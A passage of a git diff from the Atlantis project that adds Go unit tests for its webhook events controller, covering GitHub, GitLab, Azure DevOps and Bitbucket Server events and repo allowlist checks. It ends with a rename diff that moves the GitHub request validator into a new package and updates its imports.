allowlisted for Atlantis.\n```"), Eq("")) +} + +func TestPost_GitlabCommentNotAllowlistedWithSilenceErrors(t *testing.T) { + t.Log("when the event is a gitlab comment from a repo that isn't allowlisted and we are silencing errors, do not comment with an error") + RegisterMockTestingT(t) + vcsClient := vcsmocks.NewMockClient() + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "null") + e := events_controllers.VCSEventsController{ + Logger: logger, + Scope: scope, + CommentParser: &events.CommentParser{ExecutableName: "atlantis"}, + GitlabRequestParserValidator: &events_controllers.DefaultGitlabRequestParserValidator{}, + Parser: &events.EventParser{}, + SupportedVCSHosts: []models.VCSHostType{models.Gitlab}, + RepoAllowlistChecker: &events.RepoAllowlistChecker{}, + VCSClient: vcsClient, + SilenceAllowlistErrors: true, + } + requestJSON, err := os.ReadFile(filepath.Join("testdata", "gitlabMergeCommentEvent_notAllowlisted.json")) + Ok(t, err) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) + req.Header.Set(gitlabHeader, "Note Hook") + w := httptest.NewRecorder() + e.Post(w, req) + + resp := w.Result() + defer resp.Body.Close() + Equals(t, http.StatusForbidden, resp.StatusCode) + body, _ := io.ReadAll(resp.Body) + exp := "Repo not allowlisted" + Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) + vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) + +} + +func TestPost_GithubCommentNotAllowlisted(t *testing.T) { + t.Log("when the event is a github comment from a repo that isn't allowlisted we comment with an error") + RegisterMockTestingT(t) + vcsClient := vcsmocks.NewMockClient() + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "null") + e := events_controllers.VCSEventsController{ + Logger: logger, + Scope: scope, + GithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{}, + CommentParser: &events.CommentParser{ExecutableName: "atlantis"}, + Parser: &events.EventParser{}, + SupportedVCSHosts: []models.VCSHostType{models.Github}, + RepoAllowlistChecker: &events.RepoAllowlistChecker{}, + VCSClient: vcsClient, + } + requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubIssueCommentEvent_notAllowlisted.json")) + Ok(t, err) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) + req.Header.Set("Content-Type", "application/json") + req.Header.Set(githubHeader, "issue_comment") + w := httptest.NewRecorder() + e.Post(w, req) + + resp := w.Result() + defer resp.Body.Close() + Equals(t, http.StatusForbidden, resp.StatusCode) + body, _ := io.ReadAll(resp.Body) + exp := "Repo not allowlisted" + Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) + expRepo, _ := models.NewRepo(models.Github, "baxterthehacker/public-repo", "https://github.com/baxterthehacker/public-repo.git", "", "") + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(expRepo), Eq(2), Eq("```\nError: This repo is not allowlisted for Atlantis.\n```"), Eq("")) +} + +func TestPost_GithubCommentNotAllowlistedWithSilenceErrors(t *testing.T) { + t.Log("when the event is a github comment from a repo that isn't allowlisted and we are silencing errors, do not comment with an error") + RegisterMockTestingT(t) + vcsClient := vcsmocks.NewMockClient() + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "null") + e := events_controllers.VCSEventsController{ + Logger: logger, + Scope: scope, + GithubRequestValidator: &events_controllers.DefaultGithubRequestValidator{}, + CommentParser: &events.CommentParser{ExecutableName: "atlantis"}, + Parser: &events.EventParser{}, + SupportedVCSHosts: []models.VCSHostType{models.Github}, + RepoAllowlistChecker: &events.RepoAllowlistChecker{}, + VCSClient: vcsClient, + SilenceAllowlistErrors: true, + } + requestJSON, err := os.ReadFile(filepath.Join("testdata", "githubIssueCommentEvent_notAllowlisted.json")) + Ok(t, err) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(requestJSON)) + req.Header.Set("Content-Type", "application/json") + req.Header.Set(githubHeader, "issue_comment") + w := httptest.NewRecorder() + e.Post(w, req) + + resp := w.Result() + defer resp.Body.Close() + Equals(t, http.StatusForbidden, resp.StatusCode) + body, _ := io.ReadAll(resp.Body) + exp := "Repo not allowlisted" + Assert(t, strings.Contains(string(body), exp), "exp %q to be contained in %q", exp, string(body)) + vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) +} + +func TestPost_GitlabCommentResponse(t *testing.T) { + // When the event is a gitlab comment that warrants a comment response we comment back. + e, _, gl, _, _, _, _, vcsClient, cp := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) + When(cp.Parse("", models.Gitlab)).ThenReturn(events.CommentParseResult{CommentResponse: "a comment"}) + w := httptest.NewRecorder() + e.Post(w, req) + vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(0), Eq("a comment"), Eq("")) + ResponseContains(t, w, http.StatusOK, "Commenting back on pull request") +} + +func TestPost_GithubCommentResponse(t *testing.T) { + t.Log("when the event is a github comment that warrants a comment response we comment back") + e, v, _, _, p, _, _, vcsClient, cp := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "issue_comment") + event := `{"action": "created"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + baseRepo := models.Repo{} + user := models.User{} + When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(baseRepo, user, 1, nil) + When(cp.Parse("", models.Github)).ThenReturn(events.CommentParseResult{CommentResponse: "a comment"}) + w := httptest.NewRecorder() + + e.Post(w, req) + vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(baseRepo), Eq(1), Eq("a comment"), Eq("")) + ResponseContains(t, w, http.StatusOK, "Commenting back on pull request") +} + +func TestPost_GitlabCommentSuccess(t *testing.T) { + t.Log("when the event is a gitlab comment with a valid command we call the command handler") + e, _, gl, _, _, cr, _, _, cp := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + cmd := events.CommentCommand{} + When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) + When(cp.Parse(Any[string](), Eq(models.Gitlab))).ThenReturn(events.CommentParseResult{Command: &cmd}) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Processing...") + + cr.VerifyWasCalledOnce().RunCommentCommand(models.Repo{}, &models.Repo{}, nil, models.User{}, 0, &cmd) +} + +func TestPost_GithubCommentSuccess(t *testing.T) { + t.Log("when the event is a github comment with a valid command we call the command handler") + e, v, _, _, p, cr, _, _, cp := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "issue_comment") + event := `{"action": "created"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + baseRepo := models.Repo{} + user := models.User{} + cmd := events.CommentCommand{} + When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(baseRepo, user, 1, nil) + When(cp.Parse("", models.Github)).ThenReturn(events.CommentParseResult{Command: &cmd}) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Processing...") + + cr.VerifyWasCalledOnce().RunCommentCommand(baseRepo, nil, nil, user, 1, &cmd) +} + +func TestPost_GithubCommentReaction(t *testing.T) { + t.Log("when the event is a github comment with a valid command we call the ReactToComment handler") + e, v, _, _, p, _, _, vcsClient, cp := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "issue_comment") + testComment := "atlantis plan" + event := fmt.Sprintf(`{"action": "created", "comment": {"body": "%v", "id": 1}}`, testComment) + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + baseRepo := models.Repo{} + user := models.User{} + cmd := events.CommentCommand{Name: command.Plan} + When(p.ParseGithubIssueCommentEvent(Any[logging.SimpleLogging](), Any[*github.IssueCommentEvent]())).ThenReturn(baseRepo, user, 1, nil) + When(cp.Parse(testComment, models.Github)).ThenReturn(events.CommentParseResult{Command: &cmd}) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Processing...") + + vcsClient.VerifyWasCalledOnce().ReactToComment(Any[logging.SimpleLogging](), Eq(baseRepo), Eq(1), Eq(int64(1)), Eq("eyes")) +} + +func TestPost_GilabCommentReaction(t *testing.T) { + t.Log("when the event is a gitlab comment with a valid command we call the ReactToComment handler") + e, _, gl, _, _, _, _, vcsClient, cp := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + cmd := events.CommentCommand{} + When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeCommentEvent{}, nil) + When(cp.Parse(Any[string](), Eq(models.Gitlab))).ThenReturn(events.CommentParseResult{Command: &cmd}) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Processing...") + vcsClient.VerifyWasCalledOnce().ReactToComment(Any[logging.SimpleLogging](), Eq(models.Repo{}), Eq(0), Eq(int64(0)), Eq("eyes")) +} + +func TestPost_GithubPullRequestInvalid(t *testing.T) { + t.Log("when the event is a github pull request with invalid data we return a 400") + e, v, _, _, p, _, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "pull_request") + + event := `{"action": "closed"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + When(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(models.PullRequest{}, models.OpenedPullEvent, models.Repo{}, models.Repo{}, models.User{}, errors.New("err")) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "Error parsing pull data: err") +} + +func TestPost_GitlabMergeRequestInvalid(t *testing.T) { + t.Log("when the event is a gitlab merge request with invalid data we return a 400") + e, _, gl, _, p, _, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil) + repo := models.Repo{} + pullRequest := models.PullRequest{State: models.ClosedPullState} + When(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, errors.New("err")) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusBadRequest, "Error parsing webhook: err") +} + +func TestPost_GithubPullRequestNotAllowlisted(t *testing.T) { + t.Log("when the event is a github pull request to a non-allowlisted repo we return a 400") + e, v, _, _, _, _, _, _, _ := setup(t) + var err error + e.RepoAllowlistChecker, err = events.NewRepoAllowlistChecker("github.com/nevermatch") + Ok(t, err) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "pull_request") + + event := `{"action": "closed"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusForbidden, "Pull request event from non-allowlisted repo") +} + +func TestPost_GitlabMergeRequestNotAllowlisted(t *testing.T) { + t.Log("when the event is a gitlab merge request to a non-allowlisted repo we return a 400") + e, _, gl, _, p, _, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + + var err error + e.RepoAllowlistChecker, err = events.NewRepoAllowlistChecker("github.com/nevermatch") + Ok(t, err) + When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil) + repo := models.Repo{} + pullRequest := models.PullRequest{State: models.ClosedPullState} + When(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) + + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusForbidden, "Pull request event from non-allowlisted repo") +} + +func TestPost_GithubPullRequestUnsupportedAction(t *testing.T) { + t.Skip("relies too much on mocks, should use real event parser") + e, v, _, _, _, _, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "pull_request") + + event := `{"action": "unsupported"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + w := httptest.NewRecorder() + e.Parser = &events.EventParser{} + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring non-actionable pull request event") +} + +func TestPost_GitlabMergeRequestUnsupportedAction(t *testing.T) { + t.Skip("relies too much on mocks, should use real event parser") + t.Log("when the event is a gitlab merge request to a non-allowlisted repo we return a 400") + e, _, gl, _, p, _, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + var event gitlab.MergeEvent + event.ObjectAttributes.Action = "unsupported" + When(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil) + repo := models.Repo{} + pullRequest := models.PullRequest{State: models.ClosedPullState} + When(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, repo, repo, models.User{}, nil) + + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring non-actionable pull request event") +} + +func TestPost_AzureDevopsPullRequestIgnoreEvent(t *testing.T) { + t.Log("when the event is an azure devops pull request update that should not trigger workflow we ignore it") + e, _, _, ado, _, _, _, _, _ := setup(t) + + event := `{ + "subscriptionId": "11111111-1111-1111-1111-111111111111", + "notificationId": 1, + "id": "22222222-2222-2222-2222-222222222222", + "eventType": "git.pullrequest.updated", + "publisherId": "tfs", + "message": { + "text": "Dev %s pull request 1 (Name in repo)" + }, + "resource": {}}` + + cases := []struct { + message string + }{ + { + "has changed the reviewer list on", + }, + { + "has approved", + }, + { + "has approved and left suggestions on", + }, + { + "is waiting for the author on", + }, + { + "rejected", + }, + { + "voted on", + }, + } + + for _, c := range cases { + t.Run(c.message, func(t *testing.T) { + payload := fmt.Sprintf(event, c.message) + req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) + req.Header.Set(azuredevopsHeader, "reqID") + When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) + w := httptest.NewRecorder() + e.Parser = &events.EventParser{} + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "pull request updated event is not a supported type") + }) + } +} + +func TestPost_AzureDevopsPullRequestDeletedCommentIgnoreEvent(t *testing.T) { + t.Log("when the event is an azure devops pull request deleted comment event we ignore it") + e, _, _, ado, _, _, _, _, _ := setup(t) + + payload := `{ + "subscriptionId": "11111111-1111-1111-1111-111111111111", + "notificationId": 1, + "id": "22222222-2222-2222-2222-222222222222", + "eventType": "ms.vss-code.git-pullrequest-comment-event", + "publisherId": "tfs", + "message": { + "text": "Dev has deleted a pull request comment" + }, + "resource": { + "comment": { + "id": 1, + "isDeleted": true, + "commentType": "text" + } + } + }` + + t.Run("Dev has deleted a pull request comment", func(t *testing.T) { + req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) + req.Header.Set(azuredevopsHeader, "reqID") + When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) + w := httptest.NewRecorder() + e.Parser = &events.EventParser{} + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring comment event since it is linked to deleting a pull request comment") + }) +} + +func TestPost_AzureDevopsPullRequestCommentWebhookTestIgnoreEvent(t *testing.T) { + t.Log("when the event is an azure devops webhook test we ignore it") + e, _, _, ado, _, _, _, _, _ := setup(t) + + event := `{ + "subscriptionId": "11111111-1111-1111-1111-111111111111", + "notificationId": 1, + "id": "22222222-2222-2222-2222-222222222222", + "eventType": "%s", + "publisherId": "tfs", + "message": { + "text": "%s" + }, + "resource": { + "pullRequest": { + "repository":{ + "url": "https://fabrikam.visualstudio.com/DefaultCollection/_apis/git/repositories/4bc14d40-c903-45e2-872e-0462c7748079" + } + }, + "comment": { + "content": "This is my comment." + } + }}` + + cases := []struct { + eventType string + message string + }{ + { + "ms.vss-code.git-pullrequest-comment-event", + "Jamal Hartnett has edited a pull request comment", + }, + } + + for _, c := range cases { + t.Run(c.message, func(t *testing.T) { + payload := fmt.Sprintf(event, c.eventType, c.message) + req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) + req.Header.Set(azuredevopsHeader, "reqID") + When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) + w := httptest.NewRecorder() + e.Parser = &events.EventParser{} + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring Azure DevOps Test Event with Repo URL") + }) + } +} + +func TestPost_AzureDevopsPullRequestWebhookTestIgnoreEvent(t *testing.T) { + t.Log("when the event is an azure devops webhook tests we ignore it") + e, _, _, ado, _, _, _, _, _ := setup(t) + + event := `{ + "subscriptionId": "11111111-1111-1111-1111-111111111111", + "notificationId": 1, + "id": "22222222-2222-2222-2222-222222222222", + "eventType": "%s", + "publisherId": "tfs", + "message": { + "text": "%s" + }, + "resource": { + "repository":{ + "url": "https://fabrikam.visualstudio.com/DefaultCollection/_apis/git/repositories/4bc14d40-c903-45e2-872e-0462c7748079" + } + }}` + + cases := []struct { + eventType string + message string + }{ + { + "git.pullrequest.created", + "Jamal Hartnett created a new pull request", + }, + { + "git.pullrequest.updated", + "Jamal Hartnett marked the pull request as completed", + }, + } + + for _, c := range cases { + t.Run(c.message, func(t *testing.T) { + payload := fmt.Sprintf(event, c.eventType, c.message) + req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) + req.Header.Set(azuredevopsHeader, "reqID") + When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) + w := httptest.NewRecorder() + e.Parser = &events.EventParser{} + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Ignoring Azure DevOps Test Event with Repo URL") + }) + } +} + +func TestPost_AzureDevopsPullRequestCommentPassingIgnores(t *testing.T) { + t.Log("when the event should not be ignored it should pass through all ignore statements without error") + e, _, _, ado, _, _, _, _, cp := setup(t) + + testComment := "atlantis plan" + repo := models.Repo{} + cmd := events.CommentCommand{Name: command.Plan} + When(e.Parser.ParseAzureDevopsRepo(Any[*azuredevops.GitRepository]())).ThenReturn(repo, nil) + When(cp.Parse(testComment, models.AzureDevops)).ThenReturn(events.CommentParseResult{Command: &cmd}) + payload := fmt.Sprintf(`{ + "subscriptionId": "11111111-1111-1111-1111-111111111111", + "notificationId": 1, + "id": "22222222-2222-2222-2222-222222222222", + "eventType": "ms.vss-code.git-pullrequest-comment-event", + "publisherId": "tfs", + "message": { + "text": "Testing to see if comment passes ignore conditions" + }, + "resource": { + "comment": { + "id": 1, + "commentType": "text", + "content": "%v" + }, + "pullRequest": { + "pullRequestId": 1, + "repository": {} + } + } + }`, testComment) + + t.Run("Testing to see if comment passes ignore conditions", func(t *testing.T) { + req, _ := http.NewRequest("GET", "", strings.NewReader(payload)) + req.Header.Set(azuredevopsHeader, "reqID") + When(ado.Validate(req, user, secret)).ThenReturn([]byte(payload), nil) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Processing...") + }) +} + +func TestPost_GithubPullRequestClosedErrCleaningPull(t *testing.T) { + t.Skip("relies too much on mocks, should use real event parser") + t.Log("when the event is a closed pull request and we have an error calling CleanUpPull we return a 503") + RegisterMockTestingT(t) + e, v, _, _, p, _, c, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "pull_request") + + event := `{"action": "closed"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + repo := models.Repo{} + pull := models.PullRequest{State: models.ClosedPullState} + When(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(pull, models.OpenedPullEvent, repo, repo, models.User{}, nil) + When(c.CleanUpPull(Any[logging.SimpleLogging](), repo, pull)).ThenReturn(errors.New("cleanup err")) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusInternalServerError, "Error cleaning pull request: cleanup err") +} + +func TestPost_GitlabMergeRequestClosedErrCleaningPull(t *testing.T) { + t.Skip("relies too much on mocks, should use real event parser") + t.Log("when the event is a closed gitlab merge request and an error occurs calling CleanUpPull we return a 500") + e, _, gl, _, p, _, c, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + var event gitlab.MergeEvent + event.ObjectAttributes.Action = "close" + When(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil) + repo := models.Repo{} + pullRequest := models.PullRequest{State: models.ClosedPullState} + When(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) + When(c.CleanUpPull(Any[logging.SimpleLogging](), repo, pullRequest)).ThenReturn(errors.New("err")) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusInternalServerError, "Error cleaning pull request: err") +} + +func TestPost_GithubClosedPullRequestSuccess(t *testing.T) { + t.Skip("relies too much on mocks, should use real event parser") + t.Log("when the event is a pull request and everything works we return a 200") + e, v, _, _, p, _, c, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(githubHeader, "pull_request") + + event := `{"action": "closed"}` + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + repo := models.Repo{} + pull := models.PullRequest{State: models.ClosedPullState} + When(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(pull, models.OpenedPullEvent, repo, repo, models.User{}, nil) + When(c.CleanUpPull(Any[logging.SimpleLogging](), repo, pull)).ThenReturn(nil) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Pull request cleaned successfully") +} + +func TestPost_GitlabMergeRequestSuccess(t *testing.T) { + t.Skip("relies too much on mocks, should use real event parser") + t.Log("when the event is a gitlab merge request and the cleanup works we return a 200") + e, _, gl, _, p, _, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + req.Header.Set(gitlabHeader, "value") + When(gl.ParseAndValidate(req, secret)).ThenReturn(gitlab.MergeEvent{}, nil) + repo := models.Repo{} + pullRequest := models.PullRequest{State: models.ClosedPullState} + When(p.ParseGitlabMergeRequestEvent(gitlab.MergeEvent{})).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Pull request cleaned successfully") +} + +// Test Bitbucket server pull closed events. +func TestPost_BBServerPullClosed(t *testing.T) { + cases := []struct { + header string + }{ + { + "pr:deleted", + }, + { + "pr:merged", + }, + { + "pr:declined", + }, + } + + for _, c := range cases { + t.Run(c.header, func(t *testing.T) { + RegisterMockTestingT(t) + pullCleaner := emocks.NewMockPullCleaner() + allowlist, err := events.NewRepoAllowlistChecker("*") + Ok(t, err) + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "null") + ec := &events_controllers.VCSEventsController{ + PullCleaner: pullCleaner, + Parser: &events.EventParser{ + BitbucketUser: "bb-user", + BitbucketToken: "bb-token", + BitbucketServerURL: "https://bbserver.com", + }, + RepoAllowlistChecker: allowlist, + SupportedVCSHosts: []models.VCSHostType{models.BitbucketServer}, + VCSClient: nil, + Logger: logger, + Scope: scope, + } + + // Build HTTP request. + requestBytes, err := os.ReadFile(filepath.Join("testdata", "bb-server-pull-deleted-event.json")) + // Replace the eventKey field with our event type. + requestJSON := strings.Replace(string(requestBytes), `"eventKey":"pr:deleted",`, fmt.Sprintf(`"eventKey":"%s",`, c.header), -1) + Ok(t, err) + req, err := http.NewRequest("POST", "/events", bytes.NewBuffer([]byte(requestJSON))) + Ok(t, err) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("X-Event-Key", c.header) + req.Header.Set("X-Request-ID", "request-id") + + // Send the request. + w := httptest.NewRecorder() + ec.Post(w, req) + + // Make our assertions. + ResponseContains(t, w, 200, "Pull request cleaned successfully") + + expRepo := models.Repo{ + FullName: "project/repository", + Owner: "project", + Name: "repository", + CloneURL: "https://bb-user:bb-token@bbserver.com/scm/proj/repository.git", + SanitizedCloneURL: "https://bb-user:@bbserver.com/scm/proj/repository.git", + VCSHost: models.VCSHost{ + Hostname: "bbserver.com", + Type: models.BitbucketServer, + }, + } + pullCleaner.VerifyWasCalledOnce().CleanUpPull( + logger, + expRepo, models.PullRequest{ + Num: 10, + HeadCommit: "2d9fb6b9a46eafb1dcef7b008d1a429d45ca742c", + URL: "https://bbserver.com/projects/PROJ/repos/repository/pull-requests/10", + HeadBranch: "decline-me", + BaseBranch: "main", + Author: "admin", + State: models.OpenPullState, + BaseRepo: expRepo, + }) + }) + } +} + +func TestPost_PullOpenedOrUpdated(t *testing.T) { + cases := []struct { + Description string + HostType models.VCSHostType + Action string + }{ + { + "github opened", + models.Github, + "opened", + }, + { + "gitlab opened", + models.Gitlab, + "open", + }, + { + "github synchronized", + models.Github, + "synchronize", + }, + { + "gitlab update", + models.Gitlab, + "update", + }, + } + + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + e, v, gl, _, p, cr, _, _, _ := setup(t) + req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) + var pullRequest models.PullRequest + var repo models.Repo + + switch c.HostType { + case models.Gitlab: + req.Header.Set(gitlabHeader, "value") + var event gitlab.MergeEvent + event.ObjectAttributes.Action = c.Action + When(gl.ParseAndValidate(req, secret)).ThenReturn(event, nil) + repo = models.Repo{} + pullRequest = models.PullRequest{State: models.ClosedPullState} + When(p.ParseGitlabMergeRequestEvent(event)).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) + case models.Github: + req.Header.Set(githubHeader, "pull_request") + event := fmt.Sprintf(`{"action": "%s"}`, c.Action) + When(v.Validate(req, secret)).ThenReturn([]byte(event), nil) + repo = models.Repo{} + pullRequest = models.PullRequest{State: models.ClosedPullState} + When(p.ParseGithubPullEvent(Any[logging.SimpleLogging](), Any[*github.PullRequestEvent]())).ThenReturn(pullRequest, models.OpenedPullEvent, repo, repo, models.User{}, nil) + } + + w := httptest.NewRecorder() + e.Post(w, req) + ResponseContains(t, w, http.StatusOK, "Processing...") + cr.VerifyWasCalledOnce().RunAutoplanCommand(models.Repo{}, models.Repo{}, models.PullRequest{State: models.ClosedPullState}, models.User{}) + }) + } +} + +func setup(t *testing.T) (events_controllers.VCSEventsController, *mocks.MockGithubRequestValidator, *mocks.MockGitlabRequestParserValidator, *mocks.MockAzureDevopsRequestValidator, *emocks.MockEventParsing, *emocks.MockCommandRunner, *emocks.MockPullCleaner, *vcsmocks.MockClient, *emocks.MockCommentParsing) { + RegisterMockTestingT(t) + v := mocks.NewMockGithubRequestValidator() + gl := mocks.NewMockGitlabRequestParserValidator() + ado := mocks.NewMockAzureDevopsRequestValidator() + p := emocks.NewMockEventParsing() + cp := emocks.NewMockCommentParsing() + cr := emocks.NewMockCommandRunner() + c := emocks.NewMockPullCleaner() + vcsmock := vcsmocks.NewMockClient() + repoAllowlistChecker, err := events.NewRepoAllowlistChecker("*") + Ok(t, err) + logger := logging.NewNoopLogger(t) + scope, _, _ := metrics.NewLoggingScope(logger, "null") + e := events_controllers.VCSEventsController{ + ExecutableName: "atlantis", + EmojiReaction: "eyes", + TestingMode: true, + Logger: logger, + Scope: scope, + ApplyDisabled: false, + AzureDevopsWebhookBasicUser: user, + AzureDevopsWebhookBasicPassword: secret, + AzureDevopsRequestValidator: ado, + GithubRequestValidator: v, + Parser: p, + CommentParser: cp, + CommandRunner: cr, + PullCleaner: c, + GithubWebhookSecret: secret, + SupportedVCSHosts: []models.VCSHostType{models.Github, models.Gitlab, models.AzureDevops, models.Gitea}, + GiteaWebhookSecret: secret, + GitlabWebhookSecret: secret, + GitlabRequestParserValidator: gl, + RepoAllowlistChecker: repoAllowlistChecker, + VCSClient: vcsmock, + } + return e, v, gl, ado, p, cr, c, vcsmock, cp +} diff --git a/server/github_request_validator.go b/server/controllers/events/github_request_validator.go similarity index 91% rename from server/github_request_validator.go rename to server/controllers/events/github_request_validator.go index 6850b159c6..bdf7fcf00e 100644 --- a/server/github_request_validator.go +++ b/server/controllers/events/github_request_validator.go @@ -11,18 +11,18 @@ // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. -package server +package events import ( "errors" "fmt" - "io/ioutil" + "io" "net/http" - "github.com/google/go-github/v31/github" + "github.com/google/go-github/v71/github" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_github_request_validator.go GithubRequestValidator +//go:generate pegomock generate --package mocks -o mocks/mock_github_request_validator.go GithubRequestValidator // GithubRequestValidator handles checking if GitHub requests are signed // properly by the secret. @@ -60,7 +60,7 @@ func (d *DefaultGithubRequestValidator) validateAgainstSecret(r *http.Request, s func (d *DefaultGithubRequestValidator) validateWithoutSecret(r *http.Request) ([]byte, error) { switch ct := r.Header.Get("Content-Type"); ct { case "application/json": - payload, err := ioutil.ReadAll(r.Body) + payload, err := io.ReadAll(r.Body) if err != nil { return nil, fmt.Errorf("could not read body: %s", err) } diff --git a/server/github_request_validator_test.go 